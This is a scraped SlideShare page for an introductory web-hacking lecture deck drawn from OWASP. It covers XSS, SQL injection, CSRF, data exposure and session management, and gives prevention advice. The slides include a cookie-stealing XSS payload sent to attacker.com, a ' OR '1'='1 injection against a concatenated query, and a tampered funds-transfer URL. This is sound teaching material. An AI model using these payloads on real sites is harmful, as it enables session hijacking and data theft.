SlideShare a Scribd company logo

Hacking the Web

ā€¢
ā€¢
Mike Crabb
Mike Crabb

Slides used to introduce some basic concepts used in web hacking.

TechnologyInternet
1 of 20
Download to read offline
HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Securityā€Ø Controls Technicalā€Ø Impacts Businessā€Ø Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Securityā€Ø Controls Technicalā€Ø Impacts Businessā€Ø Impacts
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Donā€™t store sensitive data unnecessarily. Discard it as soon as possible. Data you donā€™t have canā€™t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm speciļ¬cally designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THISā€¦ CAN BE CHANGED TO THIS
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden ļ¬eld. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest ļ¬x, when dealing with forms, is to change it from GET to POST
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements deļ¬ned in OWASPā€™s Application Security Veriļ¬cation Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the speciļ¬c escape syntax for that interpreter. OWASPā€™s ESAPI provides many of these escaping routines.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threatā€Ø Agents Attackā€Ø Vectors Securityā€Ø Weaknesses Technicalā€Ø Impacts Businessā€Ø Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or ā€œwhitelistā€ input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING

Recommended

Zuora Sales Deck
Zuora Sales DeckZuora Sales Deck
Zuora Sales DeckRyan Gum
Ā 
cybersecurity- A.Abutaleb
cybersecurity- A.Abutalebcybersecurity- A.Abutaleb
cybersecurity- A.AbutalebFahmi Albaheth
Ā 
Good Guide to a Great Podcast
Good Guide to a Great PodcastGood Guide to a Great Podcast
Good Guide to a Great PodcastSeth Price
Ā 
Talentbin Sales Deck
Talentbin Sales DeckTalentbin Sales Deck
Talentbin Sales DeckVishal Kumar
Ā 
Securing the Cloud
Securing the CloudSecuring the Cloud
Securing the CloudGGV Capital
Ā 
introduction to cyber security
introduction to cyber securityintroduction to cyber security
introduction to cyber securitySlamet Ar Rokhim
Ā 
Cybersecurity Awareness Month_2021_PartnerPresentation_Final.pdf
Cybersecurity Awareness Month_2021_PartnerPresentation_Final.pdfCybersecurity Awareness Month_2021_PartnerPresentation_Final.pdf
Cybersecurity Awareness Month_2021_PartnerPresentation_Final.pdfSoo Chin Hock
Ā 
10 Commandments of Public Speaking
10 Commandments of Public Speaking10 Commandments of Public Speaking
10 Commandments of Public SpeakingBig Fish Presentations
Ā 

Recommended

Zuora Sales Deck
Zuora Sales DeckZuora Sales Deck
Zuora Sales DeckRyan Gum
Ā 
cybersecurity- A.Abutaleb
cybersecurity- A.Abutalebcybersecurity- A.Abutaleb
cybersecurity- A.AbutalebFahmi Albaheth
Ā 
Good Guide to a Great Podcast
Good Guide to a Great PodcastGood Guide to a Great Podcast
Good Guide to a Great PodcastSeth Price
Ā 
Talentbin Sales Deck
Talentbin Sales DeckTalentbin Sales Deck
Talentbin Sales DeckVishal Kumar
Ā 
Securing the Cloud
Securing the CloudSecuring the Cloud
Securing the CloudGGV Capital
Ā 
introduction to cyber security
introduction to cyber securityintroduction to cyber security
introduction to cyber securitySlamet Ar Rokhim
Ā 
Cybersecurity Awareness Month_2021_PartnerPresentation_Final.pdf
Cybersecurity Awareness Month_2021_PartnerPresentation_Final.pdfCybersecurity Awareness Month_2021_PartnerPresentation_Final.pdf
Cybersecurity Awareness Month_2021_PartnerPresentation_Final.pdfSoo Chin Hock
Ā 
10 Commandments of Public Speaking
10 Commandments of Public Speaking10 Commandments of Public Speaking
10 Commandments of Public SpeakingBig Fish Presentations
Ā 
Phishing
PhishingPhishing
PhishingSaurabhKantSahu1
Ā 
What does it mean to be a test engineer?
What does it mean to be a test engineer?What does it mean to be a test engineer?
What does it mean to be a test engineer?Andrii Dzynia
Ā 
Deel Presentation
Deel PresentationDeel Presentation
Deel PresentationDeel_Company
Ā 
Spyware
SpywareSpyware
SpywarePeeyush Sharma
Ā 
Careers in Security
Careers in SecurityCareers in Security
Careers in SecurityJason Chan
Ā 
Discover The Top 10 Types Of Colleagues Around You
Discover The Top 10 Types Of Colleagues Around YouDiscover The Top 10 Types Of Colleagues Around You
Discover The Top 10 Types Of Colleagues Around YouAnkur Tandon
Ā 
CYBER SECURITY ON SOCIAL MEDIA
CYBER SECURITY ON SOCIAL MEDIACYBER SECURITY ON SOCIAL MEDIA
CYBER SECURITY ON SOCIAL MEDIAcharitha garimella
Ā 
Cybersecurity - Webinar Session
Cybersecurity - Webinar SessionCybersecurity - Webinar Session
Cybersecurity - Webinar SessionKalilur Rahman
Ā 
TIME: 2015 Person of the Year
TIME: 2015 Person of the YearTIME: 2015 Person of the Year
TIME: 2015 Person of the Yearguimera
Ā 
Snapchat Visual Marketing Strategy
Snapchat Visual Marketing StrategySnapchat Visual Marketing Strategy
Snapchat Visual Marketing StrategyKatai Robert
Ā 
Pitch Deck Teardown: Party Round's $7M, er, party round deck
Pitch Deck Teardown: Party Round's $7M, er, party round deckPitch Deck Teardown: Party Round's $7M, er, party round deck
Pitch Deck Teardown: Party Round's $7M, er, party round deckHajeJanKamps
Ā 
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)Board of Innovation
Ā 
Taking Charge of Your Brain
Taking Charge of Your BrainTaking Charge of Your Brain
Taking Charge of Your BrainDeepak Chopra MD (official)
Ā 
13 things you didnā€™t know you could do with the S Pen
13 things you didnā€™t know you could do with the S Pen13 things you didnā€™t know you could do with the S Pen
13 things you didnā€™t know you could do with the S PenSamsung Business USA
Ā 
11 Things Healthy People Do Every Morning
11 Things Healthy People Do Every Morning11 Things Healthy People Do Every Morning
11 Things Healthy People Do Every MorningEason Chan
Ā 
Five Apps You Should Download Today
Five Apps You Should Download TodayFive Apps You Should Download Today
Five Apps You Should Download TodayGary Vaynerchuk
Ā 
Introduction to cyber security by cyber security infotech(csi)
Introduction to cyber security by cyber security infotech(csi)Introduction to cyber security by cyber security infotech(csi)
Introduction to cyber security by cyber security infotech(csi)Cyber Security Infotech
Ā 
Oscar pitch deck
Oscar pitch deckOscar pitch deck
Oscar pitch deckTech in Asia
Ā 
Microsoft to Acquire LinkedIn: Overview for Investors
Microsoft to Acquire LinkedIn: Overview for InvestorsMicrosoft to Acquire LinkedIn: Overview for Investors
Microsoft to Acquire LinkedIn: Overview for InvestorsMicrosoft
Ā 
Cybersecurity Awareness Training Presentation v2021.08
Cybersecurity Awareness Training Presentation v2021.08Cybersecurity Awareness Training Presentation v2021.08
Cybersecurity Awareness Training Presentation v2021.08DallasHaselhorst
Ā 
Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
Ā 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
Ā 

More Related Content

What's hot

What does it mean to be a test engineer?
What does it mean to be a test engineer?What does it mean to be a test engineer?
What does it mean to be a test engineer?Andrii Dzynia
Ā 
Deel Presentation
Deel PresentationDeel Presentation
Deel PresentationDeel_Company
Ā 
Careers in Security
Careers in SecurityCareers in Security
Careers in SecurityJason Chan
Ā 
Discover The Top 10 Types Of Colleagues Around You
Discover The Top 10 Types Of Colleagues Around YouDiscover The Top 10 Types Of Colleagues Around You
Discover The Top 10 Types Of Colleagues Around YouAnkur Tandon
Ā 
CYBER SECURITY ON SOCIAL MEDIA
CYBER SECURITY ON SOCIAL MEDIACYBER SECURITY ON SOCIAL MEDIA
CYBER SECURITY ON SOCIAL MEDIAcharitha garimella
Ā 
Cybersecurity - Webinar Session
Cybersecurity - Webinar SessionCybersecurity - Webinar Session
Cybersecurity - Webinar SessionKalilur Rahman
Ā 
TIME: 2015 Person of the Year
TIME: 2015 Person of the YearTIME: 2015 Person of the Year
TIME: 2015 Person of the Yearguimera
Ā 
Snapchat Visual Marketing Strategy
Snapchat Visual Marketing StrategySnapchat Visual Marketing Strategy
Snapchat Visual Marketing StrategyKatai Robert
Ā 
Pitch Deck Teardown: Party Round's $7M, er, party round deck
Pitch Deck Teardown: Party Round's $7M, er, party round deckPitch Deck Teardown: Party Round's $7M, er, party round deck
Pitch Deck Teardown: Party Round's $7M, er, party round deckHajeJanKamps
Ā 
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)Board of Innovation
Ā 
13 things you didnā€™t know you could do with the S Pen
13 things you didnā€™t know you could do with the S Pen13 things you didnā€™t know you could do with the S Pen
13 things you didnā€™t know you could do with the S PenSamsung Business USA
Ā 
11 Things Healthy People Do Every Morning
11 Things Healthy People Do Every Morning11 Things Healthy People Do Every Morning
11 Things Healthy People Do Every MorningEason Chan
Ā 
Five Apps You Should Download Today
Five Apps You Should Download TodayFive Apps You Should Download Today
Five Apps You Should Download TodayGary Vaynerchuk
Ā 
Introduction to cyber security by cyber security infotech(csi)
Introduction to cyber security by cyber security infotech(csi)Introduction to cyber security by cyber security infotech(csi)
Introduction to cyber security by cyber security infotech(csi)Cyber Security Infotech
Ā 
Oscar pitch deck
Oscar pitch deckOscar pitch deck
Oscar pitch deckTech in Asia
Ā 
Microsoft to Acquire LinkedIn: Overview for Investors
Microsoft to Acquire LinkedIn: Overview for InvestorsMicrosoft to Acquire LinkedIn: Overview for Investors
Microsoft to Acquire LinkedIn: Overview for InvestorsMicrosoft
Ā 
Cybersecurity Awareness Training Presentation v2021.08
Cybersecurity Awareness Training Presentation v2021.08Cybersecurity Awareness Training Presentation v2021.08
Cybersecurity Awareness Training Presentation v2021.08DallasHaselhorst
Ā 

What's hot (20)

Phishing
PhishingPhishing
Phishing
Ā 
What does it mean to be a test engineer?
What does it mean to be a test engineer?What does it mean to be a test engineer?
What does it mean to be a test engineer?
Ā 
Deel Presentation
Deel PresentationDeel Presentation
Deel Presentation
Ā 
Spyware
SpywareSpyware
Spyware
Ā 
Careers in Security
Careers in SecurityCareers in Security
Careers in Security
Ā 
Discover The Top 10 Types Of Colleagues Around You
Discover The Top 10 Types Of Colleagues Around YouDiscover The Top 10 Types Of Colleagues Around You
Discover The Top 10 Types Of Colleagues Around You
Ā 
CYBER SECURITY ON SOCIAL MEDIA
CYBER SECURITY ON SOCIAL MEDIACYBER SECURITY ON SOCIAL MEDIA
CYBER SECURITY ON SOCIAL MEDIA
Ā 
Cybersecurity - Webinar Session
Cybersecurity - Webinar SessionCybersecurity - Webinar Session
Cybersecurity - Webinar Session
Ā 
TIME: 2015 Person of the Year
TIME: 2015 Person of the YearTIME: 2015 Person of the Year
TIME: 2015 Person of the Year
Ā 
Snapchat Visual Marketing Strategy
Snapchat Visual Marketing StrategySnapchat Visual Marketing Strategy
Snapchat Visual Marketing Strategy
Ā 
Pitch Deck Teardown: Party Round's $7M, er, party round deck
Pitch Deck Teardown: Party Round's $7M, er, party round deckPitch Deck Teardown: Party Round's $7M, er, party round deck
Pitch Deck Teardown: Party Round's $7M, er, party round deck
Ā 
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)
How I got 2.5 Million views on Slideshare (by @nickdemey - Board of Innovation)
Ā 
Taking Charge of Your Brain
Taking Charge of Your BrainTaking Charge of Your Brain
Taking Charge of Your Brain
Ā 
13 things you didnā€™t know you could do with the S Pen
13 things you didnā€™t know you could do with the S Pen13 things you didnā€™t know you could do with the S Pen
13 things you didnā€™t know you could do with the S Pen
Ā 
11 Things Healthy People Do Every Morning
11 Things Healthy People Do Every Morning11 Things Healthy People Do Every Morning
11 Things Healthy People Do Every Morning
Ā 
Five Apps You Should Download Today
Five Apps You Should Download TodayFive Apps You Should Download Today
Five Apps You Should Download Today
Ā 
Introduction to cyber security by cyber security infotech(csi)
Introduction to cyber security by cyber security infotech(csi)Introduction to cyber security by cyber security infotech(csi)
Introduction to cyber security by cyber security infotech(csi)
Ā 
Oscar pitch deck
Oscar pitch deckOscar pitch deck
Oscar pitch deck
Ā 
Microsoft to Acquire LinkedIn: Overview for Investors
Microsoft to Acquire LinkedIn: Overview for InvestorsMicrosoft to Acquire LinkedIn: Overview for Investors
Microsoft to Acquire LinkedIn: Overview for Investors
Ā 
Cybersecurity Awareness Training Presentation v2021.08
Cybersecurity Awareness Training Presentation v2021.08Cybersecurity Awareness Training Presentation v2021.08
Cybersecurity Awareness Training Presentation v2021.08
Ā 

Similar to Hacking the Web

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
Ā 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
Ā 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs securityJongseok Choi
Ā 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG PresentationDamon Cortesi
Ā 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Codemotion
Ā 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing BasicsRick Wanner
Ā 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoidslicklash
Ā 
Ajax Security
Ajax SecurityAjax Security
Ajax SecurityJoe Walker
Ā 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
Ā 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecuritySiarhei Barysiuk
Ā 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoEoin Keary
Ā 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityAlexander Benoit
Ā 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals Adnan Rashid
Ā 
Writing Secure Code ā€“ Threat Defense
Writing Secure Code ā€“ Threat DefenseWriting Secure Code ā€“ Threat Defense
Writing Secure Code ā€“ Threat Defenseamiable_indian
Ā 
Porque Investir em um time de seguranƧa ofensiva?
Porque Investir em um time de seguranƧa ofensiva?Porque Investir em um time de seguranƧa ofensiva?
Porque Investir em um time de seguranƧa ofensiva?Arthur PaixĆ£o
Ā 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
Ā 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Moataz Kamel
Ā 
04. xss and encoding
04. xss and encoding04. xss and encoding
04. xss and encodingEoin Keary
Ā 

Similar to Hacking the Web (20)

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC Identity
Ā 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
Ā 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs security
Ā 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
Ā 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Ā 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
Ā 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoid
Ā 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
Ā 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
Ā 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
Ā 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
Ā 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and Manico
Ā 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint Security
Ā 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals
Ā 
Writing Secure Code ā€“ Threat Defense
Writing Secure Code ā€“ Threat DefenseWriting Secure Code ā€“ Threat Defense
Writing Secure Code ā€“ Threat Defense
Ā 
How to use shodan more powerful
How to use shodan more powerful How to use shodan more powerful
How to use shodan more powerful
Ā 
Porque Investir em um time de seguranƧa ofensiva?
Porque Investir em um time de seguranƧa ofensiva?Porque Investir em um time de seguranƧa ofensiva?
Porque Investir em um time de seguranƧa ofensiva?
Ā 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
